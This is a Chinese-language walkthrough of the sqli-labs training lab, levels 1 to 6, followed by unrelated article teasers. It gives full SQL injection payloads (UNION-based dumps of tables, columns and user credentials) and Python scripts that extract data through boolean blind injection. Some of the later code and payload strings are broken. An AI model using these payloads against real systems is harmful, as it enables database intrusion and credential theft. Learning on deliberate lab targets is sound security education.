sqli-labs靶场(1-6关)

1、第一关

测试id=1

id=1'加一个引号报错,两个引号正常,应该是字符,还有回显

猜测字段长度

id=1' order by 3 --+

id=1' order by 4 --+

字段长度为三,接下来确定位置:id=1' and 1=2 union select 1,2,3 --+

查出库名,及版本号id=1' and 1=2 union select 1,database(),version() --+

接下来爆出所有表名

id=1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

猜测账号密码应该在users表中,爆出所有字段

id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

接下来爆出所有账号

id=1' and 1=2 union select 1,2,group_concat(id,':',username,'>',password) from users--+

2、第二关

id=1,加单引号报错,双引号不报错,应该也是数字型注入

select * from userswhere id=$id' limit 0,1报错

select * from userswhere id=$id limit 0,1不报错

,接下来和第一关一样

id=1 and 1=2 union select 1,2,3 --+ 猜测查询字段长度

id=1 and 1=2 union select 1,database(),version() --+ 查出库名,及版本号

id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 爆出所有表名

id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 爆出所有字段

id=1 and 1=2 union select 1,2,group_concat(id,':',username,'>',password) from users--+ 爆出所有账号

3、第三关

id=1'时报错,看到有括号,应该给他闭合

id=1') --+

接下来和第一关差不多

id=1') and 1=2 union select 1,2,3 --+ 猜测查询字段长度

id=1') and 1=2 union select 1,database(),version() --+ 查出库名,及版本号

id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 爆出所有表名

id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 爆出所有字段

id=1') and 1=2 union select 1,2,group_concat(id,':',username,'>',password) from users--+ 爆出所有账号

4、第四关

id=1"根据报错猜测应该是双引号加括号闭合

接下来步骤类似第一关

id=100") union select 1,2,3 --+ 猜测查询字段长度

id=100") union select 1,database(),version() --+ 查出库名,及版本号

id=100") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 爆出所有表名

id=100") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+ 爆出所有字段

id=100") union select 1,2,group_concat(id,':',username,'>',password) from users--+ 爆出所有账号

5、第五关

id=1显示如下

id=1'会报错

id=100不显示

初步猜测应该是布尔注入

先试试能否爆出数据库长度

id=1' and length(database())>0--+

初步判断数据库长度应该是8

接下来尝试爆库id=1 and substr(database(),1,1)="a" --+

一个位置一个位置爆

爆出第一个位置是s,8次就可爆出,也可以利用脚本爆库security

import requests


def get_database(po, cha):
    url = f"http://sqli.labs/Less-5/?id=1%27%20and%20substr(database(),{po},1)=\"{cha}\"%20--+"
    res = requests.get(url)
    content_length = len(res.text)
    if content_length == 704:
        print(cha)


if __name__ == '__main__':
    for po in [1, 2, 3, 4, 5, 6, 7, 8]:
        for cha in [chr(97 + i) for i in range(26)]:
            get_database(po, cha)

接下来爆出所有表名

id=1%27%20and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{po},1)=\"{cha}\"%20--+
def get_all_tables(po, cha):
    url = f"http://sqli.labs/Less-5/?id=1%27%20and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{po},1)=\"{cha}\"%20--+"
    res = requests.get(url)
    content_length = len(res.text)
    if content_length == 704:
        if cha == ',':
            print("==========================================================================")
        else:
            print(cha, end='')

if __name__ == '__main__':
    # 假设所有表名长度之和100
    list = [chr(97 + i) for i in range(26)]
    list2 = [","]+list
    for po in range(100):
        for cha in list2:
            get_all_tables(po, cha)

接着爆users表里的字段

http://sqli.labs/Less-5/?id=1%27%20and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{po},1)=\"{cha}\"%20--+
def get_all_columns(po, cha):
    url = f"http://sqli.labs/Less-5/?id=1%27%20and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{po},1)=\"{cha}\"%20--+"
    res = requests.get(url)
    content_length = len(res.text)
    if content_length == 704:
        if cha == ',':
            print(",", end='')
        else:
            print(cha, end='')


if __name__ == '__main__':
    # 假设所有字段名长度之和500
    list = [chr(97 + i) for i in range(26)]
    list2 = [","]+list
    for po in range(500):
        for cha in list2:
            get_all_columns(po, cha)

接下来就是爆出所有账号密码

http://sqli.labs/Less-5/?id=1%27%20and%20substr((select group_concat(username,'>',password) from users),{po},1)=\"{cha}\"%20--+
def get_all_username_password(po, cha):
    url = f"http://sqli.labs/Less-5/?id=1%27%20and%20substr((select group_concat(username,'>',password) from users),{po},1)=\"{cha}\"%20--+"
    res = requests.get(url)
    content_length = len(res.text)
    if content_length == 704:
        if cha == ',':
            print(",", end='')
        else:
            print(cha, end='')


if __name__ == '__main__':
    list = [chr(97 + i) for i in range(26)]
    list2 = [1, 2, 3, 4, 5, 6, 7, 8, 9, ",", ">", "-"]+list #这里可以吧各种字符都加上
    for po in range(500):
        for cha in list2:
            get_all_username_password(po, cha)

6、第六关

http://sqli.labs/Less-6/?id=1"双引号报错

这关与第五关类似,只是单引号改成双引号,正确的反馈长度是702

先爆库

http://sqli.labs/Less-6/?id=1%22%20and%20substr(database(),{p},1)=%22{a}%22%20--+
def get_database_name(p, a):
    url = f"http://sqli.labs/Less-6/?id=1%22%20and%20substr(database(),{p},1)=%22{a}%22%20--+"
    res = requests.get(url)
    content_length = len(res.text)
    if content_length == 702:
        if cha == ',':
            print(",", end='')
        else:
            print(cha, end='')


if __name__ == '__main__':
    list = [chr(97 + i) for i in range(26)]
    list2 = [1, 2, 3, 4, 5, 6, 7, 8, 9, ",", ">", "-"]+list #这里可以吧各种字符都加上
    for po in range(20):
        for cha in list2:
            get_database_name(po, cha)

接下来步骤和第五关类似,只要把单引号改成双引号,返回内容长度改成702即可

%27是单引号,%22是双引号,%20是空格

爆表名POC:id=1%22%20and%20substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),{po},1)=22%{cha}22%%20--+

爆users表里的字段POC:id=1%22%20and%20substr((select group_concat(column_name) from information_schema.columns where table_name='users'),{po},1)=22%{cha}22%%20--+

爆出所有账号密码POC:id=1%22%20and%20substr((select group_concat(username,'>',password) from users),{po},1)=22%{cha}22%%20--+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/352085.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Transformer and Pretrain Language Models3-4

Transformer structure 模型结构 Transformer概述 首先回顾一下之前的RNN的一个端到端的模型,以下是一个典型的两层的LSTM模型,我们可以发现,这样一个RNN模型,一个非常重要的一个缺点就在于,它必须顺序地执行&#x…

项目管理平台

技术架构: MySQL、Servlet、JSP 功能模块: 从管理员角度看: 用户登入系统后,可以修改管理员的密码。同时具有以下功能: 1、管理员可以管理具体项目信息。 2、管理员可以管理项目经费信息。 3、管理员可以管理项目资源信息。 4、…

光明之盒:揭开可解释性人工智能的神秘面纱

在人工智能(AI)的日益普及之际,可解释性人工智能(Explainable AI,简称XAI)成为了桥接人机理解的关键技术。XAI不仅让人们窥视AI的内在工作原理,还能够提高我们对其决策过程的信任感。本文将深入…

【QT+QGIS跨平台编译】之十一:【libzip+Qt跨平台编译】(一套代码、一套框架,跨平台编译)

文章目录 一、libzip介绍二、文件下载三、文件分析四、pro文件五、编译实践一、libzip介绍 libzip是一个开源C库,用于读取,创建和修改zip文件。 libzip可以从数据缓冲区,文件或直接从其他zip归档文件直接复制的压缩数据中添加文件。在不关闭存档的情况下所做的更改可以还原…

网站服务器中毒或是被入侵该怎么办?

随着互联网的普及和发展,网站服务器已经成为了企业和个人存储数据、展示信息的重要平台。然而,网络安全问题也日益突出,其中网站服务器中毒或被入侵的事件时有发生。一旦发生这种情况,不仅会导致网站无法正常运行,还可…

快速搭建一个基于MVC架构的Spring Boot应用

提示:如果对 MVC 架构模式不熟悉可以看我的博客 > MVC架构模式与三层架构 快速搭建一个基于MVC架构的Spring Boot应用 一、Web 服务二、快速构建一个Spring Web MVC的 Web 应用1.使用脚手架快速的搭建环境:2.准备数据库:3.编写Dao层访问数…

Linux修改系字符集的方法总结

引言: Linux系统安装后,发现中文显示乱码。因为系统原编码为en_US.UTF-8,那么怎样改为中文呢? 1、检查系统编码 locale英文环境如下: 中文环境如下: 2、检查是否安装中文包 #rpm -qa|grep chinese 3、安…

Spring第二讲

<?xml version"1.0" encoding"UTF-8"?> <beans xmlns"http://www.springframework.org/schema/beans"xmlns:xsi"http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation"http://www.springframework.org/sche…

docker 修改默认存储位置

✨✨✨✨✨✨✨ &#x1f380;前言&#x1f381;查看前面docker储存位置&#x1f381;移动文件位置&#x1f381;修改配置文件docker.service&#x1f381;修改daemon.json&#x1f381;加载配置并重启 &#x1f380;前言 最近服务出现系统盘满了,发现其中docker存储占用很大一…

6.【SpringBoot3】登录优化-redis

1. SpringBoot 集成 redis 示例 在之前实现的登录接口中&#xff0c;用户登录成功后会生成一个令牌响应给浏览器&#xff0c;之后浏览器访问其他接口时&#xff0c;都要携带该令牌&#xff0c;接受拦截器的检验&#xff0c;如果令牌有效就放行&#xff0c;允许访问后续接口&am…

校招刷题指南

编程题训练逻辑思维能力&#xff0c;这是程序员需要具备的核心能力。校招还是比较看重算法能力的&#xff0c;刷题时建议分类型刷&#xff0c;先做简单题&#xff0c;再做比较困难的题&#xff1b;先刷数据结构相关的&#xff0c;然后是剑指offer的其他题目&#xff1b;刷题过程…

MySQL-删除重复数据

在实际应用中&#xff0c;遇到一个这样的问题&#xff0c;MySQL中存储的数据为资讯类数据&#xff0c;在页面展示时会出现多个平台的新闻报导相同的内容&#xff0c;导致页面会出现重复数据。因为数据是每天定期更新&#xff0c;所以最快捷有效的方式是在更新完数据后增加一个去…

【Leetcode】2861. 最大合金数

文章目录 题目思路代码结果 题目 题目链接 假设你是一家合金制造公司的老板&#xff0c;你的公司使用多种金属来制造合金。现在共有 n 种不同类型的金属可以使用&#xff0c;并且你可以使用 k 台机器来制造合金。每台机器都需要特定数量的每种金属来创建合金。 对于第 i 台…

C++实现推箱子游戏

推箱子游戏 运行之后的效果如视频所示&#xff0c;在完成游戏后播放音乐 准备工作&#xff1a;建立一个新的文件夹&#xff0c;并在文件夹中任意增加一张背景图片&#xff0c;以及各个部件的照片文件 因为这里用到了贴图技术&#xff0c;要使用graphic.h这个函数&#xff0c…

详解SpringCloud微服务技术栈:DSL查询ES文档高级语法、相关性算分数学原理总结

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位大四、研0学生&#xff0c;正在努力准备大四暑假的实习 &#x1f30c;上期文章&#xff1a;详解SpringCloud微服务技术栈&#xff1a;ElasticSearch实践1——RestClient操作索引库与文档 &#x1f4da;订阅专栏&#xff1…

通信入门系列——高斯白噪声和限带高斯白噪声

微信公众号上线&#xff0c;搜索公众号小灰灰的FPGA,关注可获取相关源码&#xff0c;定期更新有关FPGA的项目以及开源项目源码&#xff0c;包括但不限于各类检测芯片驱动、低速接口驱动、高速接口驱动、数据信号处理、图像处理以及AXI总线等 本节目录 一、高斯白噪声 二、复高…

单调栈第二天(还没写完)

503.下一个更大元素II 力扣题目链接(opens new window) 给定一个循环数组&#xff08;最后一个元素的下一个元素是数组的第一个元素&#xff09;&#xff0c;输出每个元素的下一个更大元素。数字 x 的下一个更大的元素是按数组遍历顺序&#xff0c;这个数字之后的第一个比它更…

C++位图的应用与布隆过滤器

位图的概念 用每一个二进制比特位来表示某种状态&#xff0c;适用于海量数据&#xff0c;通常用于判断某个数据是否存在 以上面试题可以用位图来解决&#xff1a;用一个二进制比特位来表示数据是否存在--二进制比特位为1表示存在&#xff0c;为0表示不存在 位图的模拟实现 #…

第五篇【传奇开心果】BeeWare的Toga库开发移动应用示例: Local Storage本地数据处理

传奇开心果博文系列 系列博文目录BeeWare的Toga库开发移动应用示例系列博文目录前言一、本地读取存储数据示例二、表格显示本地数据和清除数据示例三、添加本地数据查询功能示例四、添加本地数据修改和删除功能示例五、添加本地数据增加功能示例系列博文目录 BeeWare的Toga库开…

C语言 服务器编程-定时器

定时器 引言定时器的基本逻辑定时器信号事件 引言 传统的TCP socket模型是基于套接字&#xff08;文件描述符&#xff09;来传递消息的&#xff0c;但是文件描述符资是有限的&#xff0c;如果大量的连接占用了大量的文件描述符&#xff0c;那么新来的请求可能就无法申请到文件…